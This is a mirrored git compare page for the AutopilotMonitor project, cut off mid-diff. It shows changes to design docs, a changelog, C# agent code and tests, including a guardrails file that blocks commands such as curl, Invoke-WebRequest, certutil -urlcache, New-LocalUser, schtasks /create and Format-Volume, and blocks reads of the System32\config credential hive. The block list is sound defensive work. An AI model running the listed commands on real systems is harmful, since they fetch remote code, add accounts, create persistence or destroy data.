mirror of
https://github.com/okieselbach/AutopilotMonitor.git
synced 2026-10-25 05:00:07 +00:00
Compare commits
17 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 66d25f57db | |||
| 84a0424789 | |||
| 596788cc26 | |||
| aec2d249e1 | |||
| a63f126b88 | |||
| d94a91780c | |||
| 0b83fe2390 | |||
| 75c0c60717 | |||
| 29e7aa675a | |||
| c28d64fe27 | |||
| b2723168fd | |||
| d05d8ef302 | |||
| 2c48968ec6 | |||
| 2f8ad82b0a | |||
| 4b74995e79 | |||
| 5d8d9e8d40 | |||
| 25bd2c175e |
@@ -21,6 +21,14 @@ three of them to turn the `autopilot_profile_missing` warning from a guess into
|
||||
evidence-backed verdict, and the backend rule engine uses the error-code map for
|
||||
known-issue enrichment.
|
||||
|
||||
Windows 365 Cloud PC exception: on Cloud PCs (`CloudPcDetector.DetectIsCloudPc()`)
|
||||
`ProfileAvailable=0` is the expected state — Cloud PCs are provisioned by the Windows 365
|
||||
service, not by Autopilot. The event is still emitted with the full evidence payload plus
|
||||
an `isCloudPc` marker, but as severity Info with a "this is expected" message instead of
|
||||
a Warning (`DeviceInfoCollector.ResolveAutopilotProfileMissingPresentation`). The portal's
|
||||
Autopilot Profile card mirrors this: a neutral note for Cloud PC sessions
|
||||
(`session.isCloudPc` or the event marker), the amber warning otherwise.
|
||||
|
||||
Consumers in this repo:
|
||||
|
||||
* `ZtdEvidence.cs` (agent) — one-shot event-log query + `Diagnostics\Autopilot` registry
|
||||
|
||||
@@ -0,0 +1,111 @@
|
||||
---
|
||||
type: Concept
|
||||
title: Session Annotations — Role-Separated Human Verdicts
|
||||
description: The SessionAnnotations table (PK=tenantId, RK={sessionId}_{lane}) storing per-session human verdicts + notes in three role lanes (operator / tenantadmin / globaladmin), the per-lane write matrix with own-tenant binding, the platform-internal GA lane, the fired-rule-id snapshot that makes annotations rule-quality labels, and the portal/MCP surfaces.
|
||||
resource: /src/Backend/AutopilotMonitor.Functions/Functions/Annotations/UpsertSessionAnnotationFunction.cs
|
||||
tags:
|
||||
- backend
|
||||
- web
|
||||
- mcp
|
||||
- annotations
|
||||
- authorization
|
||||
- rule-quality
|
||||
timestamp: 2026-08-11T00:00:00+02:00
|
||||
---
|
||||
|
||||
# Schema
|
||||
|
||||
**Table.** `SessionAnnotations`: PartitionKey = `tenantId`, RowKey = `{sessionId}_{lane}` with
|
||||
lane ∈ `operator | tenantadmin | globaladmin` (a closed set — `AnnotationLanes.All`). One row per
|
||||
session + lane, edited in place; per-session reads use the RK range `ge '{sid}_' / lt '{sid}_~'`.
|
||||
Serialization lives only in `TableSessionAnnotationRepository.StoreAnnotation`/`MapAnnotation`
|
||||
(round-trip-pinned; corrupt `RuleIdsJson` degrades to an empty list on read).
|
||||
|
||||
**Row.** `Verdict` (nullable: `root_cause_confirmed | analysis_wrong | different_problem |
|
||||
inconclusive`), `Note` (nullable, ≤ 4096 chars), `AuthorUpn`/`AuthorDisplayName` (last editor),
|
||||
`CreatedByUpn`/`CreatedAtUtc` (first writer, immutable across edits), `UpdatedAtUtc`, and
|
||||
`RuleIdsJson` — a **snapshot of the rule ids that had fired for the session at write time**
|
||||
(from `IRuleRepository.GetRuleResultsAsync`, fail-soft to empty). The snapshot is what turns an
|
||||
annotation into a rule-quality label without a join: filtering annotations by `ruleId` + `verdict`
|
||||
yields confirmed vs false-positive counts per rule even after results are re-analyzed or deleted.
|
||||
|
||||
**Verdict + note are independently optional**; a PUT with both null **deletes** the lane row
|
||||
(there is no DELETE route). Author identity is always stamped server-side from the JWT
|
||||
(`TenantHelper.GetUserDisplayName` + `RequestContext.UserPrincipalName`) — a body-supplied
|
||||
author never wins (same anti-spoof contract as the gather-rule PUT-upserts).
|
||||
|
||||
# Authorization
|
||||
|
||||
Routes (all in `EndpointAccessPolicyCatalog`):
|
||||
|
||||
| Route | Policy | Notes |
|
||||
| --- | --- | --- |
|
||||
| `GET sessions/{sessionId}/annotations` | `MemberRead` + QueryParam | handler filters the GA lane |
|
||||
| `PUT sessions/{sessionId}/annotations/{lane}` | `TenantAdminOrOperator` + QueryParam | re-gated per lane in-function |
|
||||
| `GET global/session-annotations` | `GlobalReadOrAdmin` + QueryParam | evaluation stream |
|
||||
|
||||
**Per-lane write matrix** (`UpsertSessionAnnotationFunction.IsLaneWritableByCaller`, an
|
||||
`internal static` pure function like `QueueSessionActionFunction.IsTypeAllowedForCaller`):
|
||||
`operator` → tenant Operator or tenant Admin; `tenantadmin` → tenant Admin; `globaladmin` →
|
||||
Global Admin only. **Own-tenant binding:** the session's tenant is resolved *before* the gate
|
||||
(GA cross-tenant fallback via `FindSessionTenantIdAsync`), and tenant-role inputs are zeroed
|
||||
when the resolved tenant differs from the caller's JWT tenant — so a GA who is also an admin of
|
||||
their home tenant can never write another tenant's operator/tenantadmin lanes. Cross-tenant, a
|
||||
GA writes exactly the `globaladmin` lane (the platform labeling flow).
|
||||
|
||||
**GA lane is platform-internal.** `GetSessionAnnotationsFunction.FilterLanesForCaller` drops the
|
||||
`globaladmin` lane for every caller without `HasGlobalScope` (tenant members and delegated
|
||||
admins). Tenant lanes are readable by all members of that tenant.
|
||||
|
||||
**Audit.** Non-GA writes/clears log `LogAuditEntryAsync(..., "SessionAnnotation",
|
||||
"{sessionId}/{lane}", ...)`; GA writes are skipped (platform-internal labeling must not surface
|
||||
in the tenant-visible audit log — same convention as GA session-report submissions).
|
||||
|
||||
# Lifecycle
|
||||
|
||||
* **Per-session cascade delete**: three exact-RK steps (one per lane) in `DeletionManifestBuilder`
|
||||
(orders 17–19; inventory 20/21, tombstone 22). `ComputePreflightCounts` sums repeated-table
|
||||
steps so the `sessionAnnotations` count covers all lanes.
|
||||
* **Tenant offboarding**: `SessionAnnotations` is in the PK=tenantId wipe list — deliberately
|
||||
wiped, unlike `Feedback` (annotations are customer session data, not product feedback).
|
||||
* **Backup**: member of `Constants.CriticalBackupTables.All` — hand-labeled data is the most
|
||||
expensive data on the platform to lose.
|
||||
* Being in `Constants.TableNames.All` auto-creates the table at startup and exposes it to the
|
||||
raw `list_tables`/`query_table` tools.
|
||||
|
||||
# Surfaces
|
||||
|
||||
* **Portal**: `SessionAnnotationsCard` on the session detail page (`#section-annotations`, after
|
||||
Analysis; registered in BOTH the section div and the `sessionSections` sidebar registry). The
|
||||
card mirrors the matrix via the pure module `sessionAnnotationLogic.ts` (vitest-pinned) and
|
||||
uses the explicit-Save pattern; the backend re-gates every save. Collapsed by default with a
|
||||
count + verdict-pill summary header.
|
||||
* **Portal overview page** `/annotations` (Monitoring sidebar group — deliberately NO new
|
||||
"Insights" group; Fleet Health & co. are insights too and a second analytics group would
|
||||
dilute both): tenant-scoped list backed by `GET session-annotations`
|
||||
(`ListTenantSessionAnnotationsFunction`, MemberRead + QueryParam). The tenant is always the
|
||||
middleware-validated `TargetTenantId`, and for callers without global scope the repository
|
||||
adds a server-side `Lane ne 'globaladmin'` OData clause — hidden rows never consume page
|
||||
budget, and an explicit lane=globaladmin filter self-contradicts to an empty page. Rows
|
||||
deep-link to `sessions?id=…#section-annotations`.
|
||||
* **MCP read**: `get_session_summary` carries an `annotations` key (4th parallel leg, fail-soft
|
||||
null); `list_session_annotations` (`ga`-gated) is the evaluation stream with `tenantId / lane /
|
||||
verdict / ruleId / dateFrom / dateTo` filters and nextLink pagination. The `ruleId` filter is
|
||||
applied server-side but client-of-Azure (substring on the JSON column), so the backend
|
||||
back-fills short pages by looping the Azure continuation (bounded rounds) — filtered-out rows
|
||||
never consume page budget.
|
||||
* **MCP write**: `annotate_session` (`strictGa`-gated, MUTATING) always PUTs the `globaladmin`
|
||||
lane — no lane argument by design. This is the frictionless labeling path after a session-debug.
|
||||
* **Session reports**: `SessionReportService.SubmitReportAsync` snapshots ALL lanes into
|
||||
`annotations.json` inside the report ZIP (`annotationCount` in report-metadata.json; fail-soft).
|
||||
Safe because report blobs are readable only through the GA-only session-reports routes, and
|
||||
valuable because the ZIP outlives the session's retention/delete.
|
||||
|
||||
# Citations
|
||||
|
||||
* `src/Shared/AutopilotMonitor.Shared/Models/SessionAnnotation.cs` — model, lanes, verdicts.
|
||||
* `src/Backend/AutopilotMonitor.Functions/DataAccess/TableStorage/TableSessionAnnotationRepository.cs` — Store/Map + query back-fill.
|
||||
* `src/Backend/AutopilotMonitor.Functions/Functions/Annotations/` — the three endpoints.
|
||||
* `src/Backend/AutopilotMonitor.Functions/Pagination/SessionAnnotationsPagination.cs` — filter-bound continuation tokens.
|
||||
* `src/Web/autopilot-monitor-web/app/sessions/components/sessionAnnotationLogic.ts` — portal matrix mirror.
|
||||
* `src/McpServer/autopilot-monitor-mcp/src/tools/admin.ts` — `list_session_annotations`, `annotate_session`.
|
||||
@@ -42,6 +42,7 @@ https://docs.autopilotmonitor.com (separate repository).
|
||||
* [Tenant Activation & the Once-Only Welcome Mail](backend/tenant-activation-welcome-mail.md) - How a signup becomes an activated tenant (manual approve or the auto-approve queue), and the write-then-read + conditional-marker arbitration that sends the welcome mail exactly once even though activation and the user-typed notification address race each other.
|
||||
* [W365 Cloud PC Device Validation](backend/cloudpc-device-validation.md) - Why Cloud PCs can never pass the Autopilot serial lookup, and the cert-CN-bound CloudPc fallback validator: Subject CN (= Intune device id) matched against the tenant's Graph virtualEndpoint/cloudPCs inventory — admits exactly the service-provisioned Cloud PCs, nothing else.
|
||||
* [ServerActions & On-Demand Diagnostics](backend/server-actions-on-demand-diagnostics.md) - The queue-on-session, deliver-on-ingest action channel, the TenantAdminOrOperator tier with in-function per-type re-gating, the portal's Collect Logs flow (quick-config orders rotate_config before request_diagnostics), and the hosted-prefix sweep in the offboarding cascade.
|
||||
* [Session Annotations](backend/session-annotations.md) - Role-separated human verdicts on sessions (operator / tenantadmin / globaladmin lanes, one row each): the per-lane write matrix with own-tenant binding, the platform-internal GA lane, the fired-rule-id snapshot that makes annotations rule-quality labels, and the portal card + MCP list/annotate surfaces.
|
||||
|
||||
# MCP Server
|
||||
|
||||
|
||||
+12
@@ -1,5 +1,17 @@
|
||||
# Log
|
||||
|
||||
## 2026-08-12
|
||||
|
||||
* **Update**: `agent/autopilot-ztd-diagnostics.md` — Windows 365 Cloud PC exception documented: on Cloud PCs `ProfileAvailable=0` is expected (provisioned by the Windows 365 service, not Autopilot), so `autopilot_profile_missing` is emitted as Info with a Cloud-PC-specific message and an `isCloudPc` payload marker (`ResolveAutopilotProfileMissingPresentation`); the portal's Autopilot Profile card renders a neutral note instead of the amber warning for Cloud PC sessions (`session.isCloudPc` or the event marker).
|
||||
|
||||
## 2026-08-11 (later)
|
||||
|
||||
* **Creation**: Added `backend/session-annotations.md` — session annotations: the new `SessionAnnotations` table (PK=tenantId, RK=`{sessionId}_{lane}`, lanes operator/tenantadmin/globaladmin) storing structured verdicts (`root_cause_confirmed | analysis_wrong | different_problem | inconclusive`) + notes with server-stamped authorship and a fired-rule-id snapshot for join-free rule-quality evaluation. Per-lane write matrix re-gated in-function with own-tenant binding (a GA writes only the platform-internal `globaladmin` lane cross-tenant; tenant callers never see that lane). Surfaces: portal `SessionAnnotationsCard` (session detail, after Analysis), MCP `list_session_annotations` (ga) + `annotate_session` (strictGa, always the GA lane) + `annotations` key in `get_session_summary`. Lifecycle: per-session cascade steps 17–19, offboarding wipe, critical-backup member.
|
||||
|
||||
## 2026-08-11
|
||||
|
||||
* **Update**: `rules/gather-rule-guardrails.md` — hard-block mirroring closed across all pre-flight layers: `rules/guardrails.json` now also mirrors `blockedCommandPatterns` + `maxCommandLength` and carries `C:\Windows\System32\config` in `blockedFilePrefixes`; portal (`guardValidation.ts`) and MCP (`rule-validation.ts`) apply them in agent order (before the unrestricted-mode early-return), so a command the agent hard-blocks no longer shows "Allowed" in unrestricted tenants. `GuardrailsParityTests` pins the JSON mirror to the C# constants. MCP `validate_rule` additionally validates `json`/`xml` targets with file semantics (the schema's `collectorType` enum was missing both) and rejects `activePhases`+`activeFromPhase` set together (backend 400 parity). Author stamping extended to PUT-upserts: tenant and global gather-rule updates stamp the caller's JWT display name before the service call, so an upsert of a non-existing ruleId can no longer store a payload-supplied author (true updates still preserve the original author).
|
||||
|
||||
## 2026-08-10
|
||||
|
||||
* **Update**: `rules/gather-rule-guardrails.md` — WMI matcher generalized from literal prefix matching to shape parsing: `SELECT <* | property-list> FROM <class>` is allowed when the class is derived from the existing `SELECT * FROM <class>` entries (a projection is a strict subset; motivated by `SELECT BatteryStatus FROM Win32_Battery` + `on_change` battery polling that `SELECT *` defeats via fluctuating charge %). Same algorithm mirrored agent/portal/MCP; guardrails.json unchanged. Portal now also gates enabling on the client-side validation (invalid-target custom rules create disabled, cannot be toggled on, force-disable on invalid edit, "Blocked on devices" badge) — UX only, the agent guard stays the boundary. Gather-rule Author is now stamped from the creator's JWT (display name → UPN) at create and immutable on update.
|
||||
|
||||
@@ -7,12 +7,12 @@ description: >-
|
||||
guard rather than trusting rule.Target.
|
||||
resource: src/Agent/AutopilotMonitor.Agent.V2.Core/Monitoring/Telemetry/Gather
|
||||
tags: [gather-rules, security, guardrails, agent]
|
||||
timestamp: 2026-08-10
|
||||
timestamp: 2026-08-11
|
||||
---
|
||||
|
||||
# Concept
|
||||
|
||||
A gather rule is authored by a **tenant administrator** through `POST /api/rules/gather` and executed by the agent as **SYSTEM** on an enrolling device. The backend does not validate `collectorType`, `target`, or `parameters` at all — it only enforces scope/emit-mode fields, a 1 MB body cap, and that the rule lands in the caller's own tenant partition. Everything that decides *what a rule may reach* is therefore enforced **on the agent**, in `GatherRuleGuards`.
|
||||
A gather rule is authored by a **tenant administrator** through `POST /api/rules/gather` and executed by the agent as **SYSTEM** on an enrolling device. The backend does not validate `collectorType`, `target`, or `parameters` at all — it only enforces scope/emit-mode fields, a 1 MB body cap, that the rule lands in the caller's own tenant partition, and that `Author` is stamped from the caller's JWT (create and PUT-upsert; true updates preserve the original author). Everything that decides *what a rule may reach* is therefore enforced **on the agent**, in `GatherRuleGuards`.
|
||||
|
||||
This is the security boundary. The portal's `ValidationIndicator` is a convenience — the API stays reachable directly and the backend stays validation-free — but since 2026-08 the portal additionally **gates enabling** on the same client-side validation: a custom rule whose target fails validation cannot be toggled on, is created `enabled=false`, and an edit that makes the target invalid force-disables the rule (`targetBlocked` in `app/gather-rules/types.ts`). An enabled rule with an invalid target shows a "Blocked on devices" badge. All of this is UX, not security — the agent guard remains the enforcement point.
|
||||
|
||||
@@ -44,7 +44,12 @@ but the hard blocks must hold regardless of configuration:
|
||||
PowerShell channels (script-block logging routinely contains secrets in clear text).
|
||||
|
||||
`rules/guardrails.json` mirrors the blocked lists (`blockedFilePrefixes`,
|
||||
`blockedEventLogChannels`) **for display only**. Enforcement is the C# constant.
|
||||
`blockedEventLogChannels`, `blockedCommandPatterns`, `maxCommandLength`) **for display
|
||||
and pre-flight only**. Enforcement is the C# constant; `GuardrailsParityTests` (agent
|
||||
test project) pins the JSON mirror to the constants so neither side can drift. The
|
||||
portal (`utils/guardValidation.ts`) and the MCP validator (`rule-validation.ts`) apply
|
||||
the mirrored hard blocks in the same order as the agent — before the unrestricted-mode
|
||||
early-return — so a rule the agent would refuse is never shown as "Allowed".
|
||||
|
||||
# Examples
|
||||
|
||||
|
||||
+23
-2
@@ -250,6 +250,27 @@
|
||||
"C:\\Install\\Log"
|
||||
],
|
||||
"blockedFilePrefixes": [
|
||||
"C:\\Users"
|
||||
]
|
||||
"C:\\Users",
|
||||
"C:\\Windows\\System32\\config"
|
||||
],
|
||||
"blockedCommandPatterns": [
|
||||
"Invoke-WebRequest",
|
||||
"Invoke-RestMethod",
|
||||
"Start-BitsTransfer",
|
||||
"wget",
|
||||
"curl",
|
||||
"certutil -urlcache",
|
||||
"New-LocalUser",
|
||||
"Add-LocalGroupMember",
|
||||
"net user",
|
||||
"net localgroup",
|
||||
"bcdedit",
|
||||
"bcdboot",
|
||||
"schtasks /create",
|
||||
"Register-ScheduledTask",
|
||||
"Remove-Item -Recurse",
|
||||
"Format-Volume",
|
||||
"Set-ExecutionPolicy"
|
||||
],
|
||||
"maxCommandLength": 2000
|
||||
}
|
||||
|
||||
@@ -67,7 +67,7 @@
|
||||
"collectorType": {
|
||||
"type": "string",
|
||||
"description": "Type of data collection.",
|
||||
"enum": ["registry", "eventlog", "wmi", "file", "command_allowlisted", "logparser"]
|
||||
"enum": ["registry", "eventlog", "wmi", "file", "json", "xml", "command_allowlisted", "logparser"]
|
||||
},
|
||||
"target": {
|
||||
"type": "string",
|
||||
|
||||
@@ -154,6 +154,12 @@ ${flatArray(flatEventLogChannels)}
|
||||
export const BLOCKED_EVENT_LOG_CHANNELS: readonly string[] = [
|
||||
${flatArray(guardrails.blockedEventLogChannels)}
|
||||
];
|
||||
|
||||
export const BLOCKED_COMMAND_PATTERNS: readonly string[] = [
|
||||
${flatArray(guardrails.blockedCommandPatterns)}
|
||||
];
|
||||
|
||||
export const MAX_COMMAND_LENGTH = ${guardrails.maxCommandLength};
|
||||
`;
|
||||
|
||||
fs.writeFileSync(guardrailsOutput, ts, 'utf8');
|
||||
|
||||
+69
@@ -0,0 +1,69 @@
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.Gather;
|
||||
using Newtonsoft.Json.Linq;
|
||||
using Xunit;
|
||||
|
||||
namespace AutopilotMonitor.Agent.V2.Core.Tests.Monitoring.Telemetry.Gather
|
||||
{
|
||||
/// <summary>
|
||||
/// Pins the display mirror in rules/guardrails.json (embedded into this assembly)
|
||||
/// to the agent's hard-block CONSTANTS in <see cref="GatherRuleGuards"/>.
|
||||
/// Enforcement is code-only by design (a JSON parse error must never lift a hard
|
||||
/// block); the JSON mirror exists so the portal and the MCP validator can
|
||||
/// pre-flight the same blocks. This test keeps the two from drifting: an addition
|
||||
/// on either side fails here until the other side follows.
|
||||
/// </summary>
|
||||
public sealed class GuardrailsParityTests
|
||||
{
|
||||
private static JObject LoadEmbeddedGuardrails()
|
||||
{
|
||||
var assembly = typeof(GatherRuleGuards).Assembly;
|
||||
using var stream = assembly.GetManifestResourceStream(
|
||||
"AutopilotMonitor.Agent.V2.Core.Resources.guardrails.json");
|
||||
Assert.NotNull(stream);
|
||||
using var reader = new StreamReader(stream!);
|
||||
return JObject.Parse(reader.ReadToEnd());
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Blocked_file_prefixes_match_code_constants()
|
||||
{
|
||||
var json = LoadEmbeddedGuardrails()["blockedFilePrefixes"]!.ToObject<string[]>()!;
|
||||
var code = new[] { GatherRuleGuards.BlockedUsersPrefix }
|
||||
.Concat(GatherRuleGuards.AdditionalHardBlockedPathPrefixes);
|
||||
|
||||
Assert.Equal(
|
||||
code.Select(p => p.ToLowerInvariant()).OrderBy(p => p),
|
||||
json.Select(p => Path.GetFullPath(p).ToLowerInvariant()).OrderBy(p => p));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Blocked_command_patterns_match_code_constants()
|
||||
{
|
||||
var json = LoadEmbeddedGuardrails()["blockedCommandPatterns"]!.ToObject<string[]>()!;
|
||||
|
||||
Assert.Equal(
|
||||
GatherRuleGuards.HardBlockedCommandPatterns.OrderBy(p => p),
|
||||
json.OrderBy(p => p));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Max_command_length_matches_code_constant()
|
||||
{
|
||||
Assert.Equal(
|
||||
GatherRuleGuards.MaxCommandLength,
|
||||
LoadEmbeddedGuardrails()["maxCommandLength"]!.Value<int>());
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Blocked_event_log_channels_match_code_constants()
|
||||
{
|
||||
var json = LoadEmbeddedGuardrails()["blockedEventLogChannels"]!.ToObject<string[]>()!;
|
||||
|
||||
Assert.Equal(
|
||||
GatherRuleGuards.HardBlockedEventLogChannels.OrderBy(c => c),
|
||||
json.OrderBy(c => c));
|
||||
}
|
||||
}
|
||||
}
|
||||
+124
@@ -0,0 +1,124 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Threading.Tasks;
|
||||
using AutopilotMonitor.Agent.V2.Core.Logging;
|
||||
using AutopilotMonitor.Agent.V2.Core.Monitoring.Runtime;
|
||||
using AutopilotMonitor.Agent.V2.Core.Tests.Harness;
|
||||
using AutopilotMonitor.Agent.V2.Runtime;
|
||||
using Xunit;
|
||||
|
||||
namespace AutopilotMonitor.Agent.V2.Core.Tests.Program
|
||||
{
|
||||
/// <summary>
|
||||
/// Contract tests for <see cref="AgentBootstrap.RetrySelfUpdateAfterEnrollment"/> —
|
||||
/// the post-cert one-shot self-update retry (field case sits-d.cloud, 2026-08-09):
|
||||
/// guard on <see cref="SelfUpdater.LastVersionCheckSucceeded"/>, the relaxed
|
||||
/// timeouts/trigger it passes to the updater, and the swallow-everything exception
|
||||
/// contract (bootstrap must continue on any updater failure). Uses the
|
||||
/// <see cref="AgentBootstrap.UpdateInvokerOverride"/> seam — no network, no process
|
||||
/// side effects.
|
||||
/// <para>
|
||||
/// Static-hook state: each test saves/restores both statics in ctor/Dispose so
|
||||
/// parallel-running test classes never observe a leaked value (idiom of
|
||||
/// SelfUpdaterGracefulShutdownTests).
|
||||
/// </para>
|
||||
/// </summary>
|
||||
public sealed class AgentBootstrapSelfUpdateRetryTests : IDisposable
|
||||
{
|
||||
private readonly AgentBootstrap.SelfUpdateInvoker _savedInvoker;
|
||||
private readonly bool _savedVersionCheckFlag;
|
||||
|
||||
public AgentBootstrapSelfUpdateRetryTests()
|
||||
{
|
||||
_savedInvoker = AgentBootstrap.UpdateInvokerOverride;
|
||||
_savedVersionCheckFlag = SelfUpdater.LastVersionCheckSucceeded;
|
||||
AgentBootstrap.UpdateInvokerOverride = null;
|
||||
SelfUpdater.LastVersionCheckSucceeded = false;
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
AgentBootstrap.UpdateInvokerOverride = _savedInvoker;
|
||||
SelfUpdater.LastVersionCheckSucceeded = _savedVersionCheckFlag;
|
||||
}
|
||||
|
||||
private static AgentLogger NewLogger(string path)
|
||||
=> new AgentLogger(Path.Combine(path, "logs"), AgentLogLevel.Info);
|
||||
|
||||
[Fact]
|
||||
public void Skips_retry_when_startup_version_check_already_succeeded()
|
||||
{
|
||||
using var tmp = new TempDirectory();
|
||||
var invoked = false;
|
||||
SelfUpdater.LastVersionCheckSucceeded = true;
|
||||
AgentBootstrap.UpdateInvokerOverride = (v, dir, console, reason, dl, downgrade, vc) =>
|
||||
{
|
||||
invoked = true;
|
||||
return Task.CompletedTask;
|
||||
};
|
||||
|
||||
AgentBootstrap.RetrySelfUpdateAfterEnrollment(NewLogger(tmp.Path), consoleMode: false);
|
||||
|
||||
Assert.False(invoked);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Retries_with_await_enrollment_trigger_and_relaxed_timeouts()
|
||||
{
|
||||
using var tmp = new TempDirectory();
|
||||
string? capturedVersion = null, capturedDir = null, capturedReason = null;
|
||||
bool? capturedConsole = null, capturedDowngrade = null;
|
||||
int capturedDownloadMs = 0, capturedVersionCheckMs = 0;
|
||||
AgentBootstrap.UpdateInvokerOverride = (v, dir, console, reason, dl, downgrade, vc) =>
|
||||
{
|
||||
capturedVersion = v;
|
||||
capturedDir = dir;
|
||||
capturedConsole = console;
|
||||
capturedReason = reason;
|
||||
capturedDownloadMs = dl;
|
||||
capturedDowngrade = downgrade;
|
||||
capturedVersionCheckMs = vc;
|
||||
return Task.CompletedTask;
|
||||
};
|
||||
|
||||
AgentBootstrap.RetrySelfUpdateAfterEnrollment(NewLogger(tmp.Path), consoleMode: true);
|
||||
|
||||
Assert.Equal("await_enrollment", capturedReason);
|
||||
// Relaxed vs. the boot-speed-tuned startup check (10s/2.5s) — enrollment is
|
||||
// already past OOBE's critical path here.
|
||||
Assert.Equal(60000, capturedDownloadMs);
|
||||
Assert.Equal(10000, capturedVersionCheckMs);
|
||||
// No cached remote config on a fresh --await-enrollment install → no downgrade override.
|
||||
Assert.False(capturedDowngrade);
|
||||
Assert.True(capturedConsole);
|
||||
Assert.False(string.IsNullOrEmpty(capturedVersion));
|
||||
Assert.False(string.IsNullOrEmpty(capturedDir));
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Synchronous_invoker_exception_is_swallowed()
|
||||
{
|
||||
using var tmp = new TempDirectory();
|
||||
AgentBootstrap.UpdateInvokerOverride =
|
||||
(v, dir, console, reason, dl, downgrade, vc) => throw new InvalidOperationException("boom");
|
||||
|
||||
var ex = Record.Exception(
|
||||
() => AgentBootstrap.RetrySelfUpdateAfterEnrollment(NewLogger(tmp.Path), consoleMode: false));
|
||||
|
||||
Assert.Null(ex);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Faulted_update_task_is_swallowed()
|
||||
{
|
||||
using var tmp = new TempDirectory();
|
||||
AgentBootstrap.UpdateInvokerOverride = (v, dir, console, reason, dl, downgrade, vc) =>
|
||||
Task.FromException(new IOException("download interrupted"));
|
||||
|
||||
var ex = Record.Exception(
|
||||
() => AgentBootstrap.RetrySelfUpdateAfterEnrollment(NewLogger(tmp.Path), consoleMode: false));
|
||||
|
||||
Assert.Null(ex);
|
||||
}
|
||||
}
|
||||
}
|
||||
+25
@@ -1,5 +1,6 @@
|
||||
using System.Collections.Generic;
|
||||
using AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.DeviceInfo;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using Xunit;
|
||||
|
||||
namespace AutopilotMonitor.Agent.V2.Core.Tests.Telemetry.DeviceInfo;
|
||||
@@ -109,4 +110,28 @@ public class DeviceInfoCollectorAutopilotProfileMissingTests
|
||||
Assert.False(DeviceInfoCollector.TryExtractZeroTouchTenantDomain(null, out var domain));
|
||||
Assert.Null(domain);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ResolveAutopilotProfileMissingPresentation_PhysicalDevice_WarnsAboutAssignment()
|
||||
{
|
||||
var (message, severity) = DeviceInfoCollector.ResolveAutopilotProfileMissingPresentation(isCloudPc: false);
|
||||
|
||||
Assert.Equal(EventSeverity.Warning, severity);
|
||||
Assert.Equal(
|
||||
"No Autopilot profile was available during OOBE (ProfileAvailable=0) — most likely no deployment profile was assigned to the device, or the assignment had not finished propagating when OOBE ran. OOBE proceeded as a standard Entra ID join instead of an Autopilot deployment.",
|
||||
message);
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void ResolveAutopilotProfileMissingPresentation_CloudPc_InformationalAndExpected()
|
||||
{
|
||||
// On a Windows 365 Cloud PC a missing Autopilot profile is the normal state —
|
||||
// the event must not read as an alarm there.
|
||||
var (message, severity) = DeviceInfoCollector.ResolveAutopilotProfileMissingPresentation(isCloudPc: true);
|
||||
|
||||
Assert.Equal(EventSeverity.Info, severity);
|
||||
Assert.Contains("Windows 365 Cloud PC", message);
|
||||
Assert.Contains("expected", message);
|
||||
Assert.DoesNotContain("no deployment profile was assigned", message);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -98,7 +98,12 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Runtime
|
||||
/// connectivity — the bootstrap retries the check exactly when this is still false.
|
||||
/// </para>
|
||||
/// </summary>
|
||||
public static bool LastVersionCheckSucceeded { get; private set; }
|
||||
/// <remarks>
|
||||
/// Setter is internal solely as a test seam (InternalsVisibleTo): the bootstrap-retry
|
||||
/// tests arm/reset the guard without running the real network check. Production code
|
||||
/// writes it only from <see cref="CheckAndApplyUpdateAsync"/>.
|
||||
/// </remarks>
|
||||
public static bool LastVersionCheckSucceeded { get; internal set; }
|
||||
|
||||
/// <summary>
|
||||
/// Optional: graceful-shutdown request hook, set by the runtime host once its
|
||||
|
||||
+35
-4
@@ -305,10 +305,16 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.DeviceInfo
|
||||
// (see docs/agent/autopilot-ztd-diagnostics.md for the evidence model).
|
||||
if (IsAutopilotProfileMissing(data))
|
||||
{
|
||||
// On Windows 365 Cloud PCs a missing profile is the expected state — Cloud PCs
|
||||
// are provisioned by the Windows 365 service, not by Autopilot — so the event
|
||||
// is demoted to Info there instead of raising a misleading warning.
|
||||
var isCloudPc = CloudPcDetector.DetectIsCloudPc();
|
||||
|
||||
var missingData = new Dictionary<string, object>
|
||||
{
|
||||
{ "profileAvailable", "0" },
|
||||
{ "likelyCauses", "profile_not_assigned,profile_assignment_not_propagated" }
|
||||
{ "likelyCauses", "profile_not_assigned,profile_assignment_not_propagated" },
|
||||
{ "isCloudPc", isCloudPc }
|
||||
};
|
||||
if (TryExtractZeroTouchTenantDomain(data, out var ztdTenantDomain))
|
||||
{
|
||||
@@ -347,12 +353,17 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.DeviceInfo
|
||||
missingData["ztdEndpointLatencyMs"] = probe.LatencyMs;
|
||||
missingData["ztdEndpointDetail"] = probe.Detail;
|
||||
|
||||
var presentation = ResolveAutopilotProfileMissingPresentation(isCloudPc);
|
||||
EmitDeviceInfoEvent(Constants.EventTypes.AutopilotProfileMissing,
|
||||
"No Autopilot profile was available during OOBE (ProfileAvailable=0) — most likely no deployment profile was assigned to the device, or the assignment had not finished propagating when OOBE ran. OOBE proceeded as a standard Entra ID join instead of an Autopilot deployment.",
|
||||
presentation.Message,
|
||||
missingData,
|
||||
EventSeverity.Warning);
|
||||
presentation.Severity);
|
||||
|
||||
_logger.Warning($"EnrollmentTracker: no Autopilot profile available during OOBE (ProfileAvailable=0) — ztdVerdict={missingData["ztdVerdict"]}, endpointReachable={probe.Reachable}");
|
||||
